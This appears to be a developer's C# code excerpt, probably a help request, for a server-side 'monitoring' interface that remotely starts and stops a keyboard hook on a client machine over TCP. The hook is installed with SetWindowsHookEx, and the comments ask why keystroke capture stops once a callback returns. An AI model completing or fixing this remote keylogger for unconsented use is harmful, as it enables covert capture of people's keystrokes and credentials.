//This code resides on the server-side monitoring interface.When //the administrator hits a btnKeyLog button, a message //"StartKeyLog" is sent to the respective client, and the keylogging //is handled on the client.
private void btnKeyLog_Click ( object sender, EventArgs e )
{
	messageBuffer = new byte[100];
 
	if ( btnKeyLog1.Text == "Start Keylogging" )
	{
		btnKeyLog1.Text = "Stop Keylogging";
		message = "StartKeyLog";
 
		messageBuffer = Encoding.ASCII.GetBytes ( message );
		try
		{
                //begin writing on the stream.
		clientConnections[0].networkStream.BeginWrite (messageBuffer, 0, messageBuffer.Length, new AsyncCallback ( onDataWrite ), null );
		}
		catch ( Exception exc )
		{
			MessageBox.Show ( exc.Message + exc.StackTrace );
		}
	}
	else
	{
		btnKeyLog1.Text = "Start Keylogging";
		message = "StopKeyLog";
 
		messageBuffer = Encoding.ASCII.GetBytes ( message );
		try
		{
		clientConnections[0].networkStream.BeginWrite ( messageBuffer, 0, messageBuffer.Length, new AsyncCallback ( onDataWrite ), null );
		}
		catch ( Exception exc )
		{
			MessageBox.Show ( exc.Message + exc.StackTrace );
		}
	}
}

//the following method is the callback method (called by //TcpListener.BeginAcceptTcpClient() )that accepts the connection //and starts reading using BeginRead() :
public void onConnectionRequested ( IAsyncResult ar )
{
	try
	{
	clientConnection.client = listener.EndAcceptTcpClient ( ar );
	//MessageBox.Show ( "UI connected!" );
 
	messageBuffer = new byte[100];
	clientConnection.networkStream = clientConnection.client.GetStream ( );
	clientConnection.networkStream.BeginRead ( messageBuffer, 0, messageBuffer.Length, new AsyncCallback ( onDataReceived ), null );
	}
	catch ( Exception exc )
	{
		MessageBox.Show ( exc.Message + exc.StackTrace );
	}
}
 
 
// the following is the callback function that will process the data //received from the server.
// temporarily, i am using a switch case structure.
public void onDataReceived ( IAsyncResult ar )
{
	int nBytesRead = 0;
	try
	{
		nBytesRead = clientConnection.networkStream.EndRead ( ar );
	}
	catch ( Exception exc )
	{
		MessageBox.Show ( exc.Message + exc.StackTrace );
	}
		message = Encoding.ASCII.GetString ( messageBuffer,0, nBytesRead);
 
		switch (message)
		{
			case "StartKeyLog" :
				MessageBox.Show ( "Keylogger started." );
                               //the following static method wraps the Win32 //implementation of SetWindowsHookEx - all given in Keylogger //module
				KeyboardHook.installHook ( );
                                //after this method is called, the hook is //actually installed; the callback function KeyboardHookProc is also //called. Here, keylogger seems to be working fine, except that the //system slows down considerably when i type keystrokes.
				break;
 
			case "StopKeyLog":
				MessageBox.Show ( "Keylogger stopped." );
                               // the following method releases the hook
				KeyboardHook.releaseHook ( );
				break;
		}
 
		try
		{
			messageBuffer = new byte[100];
			clientConnection.networkStream.BeginRead ( messageBuffer, 0, messageBuffer.Length, new AsyncCallback ( onDataReceived ), null );
		}
		catch ( Exception exc )
		{
			MessageBox.Show ( exc.Message + exc.StackTrace );
		}
		//MessageBox.Show ( "Stop" );
//as soon as this function ends, however, the callback function of //the keyboard hook stops being called; keystrokes are not //processed.
//the keystrokes are caught until this function the control is in this //function. i assume that it has to do something with the thread.
}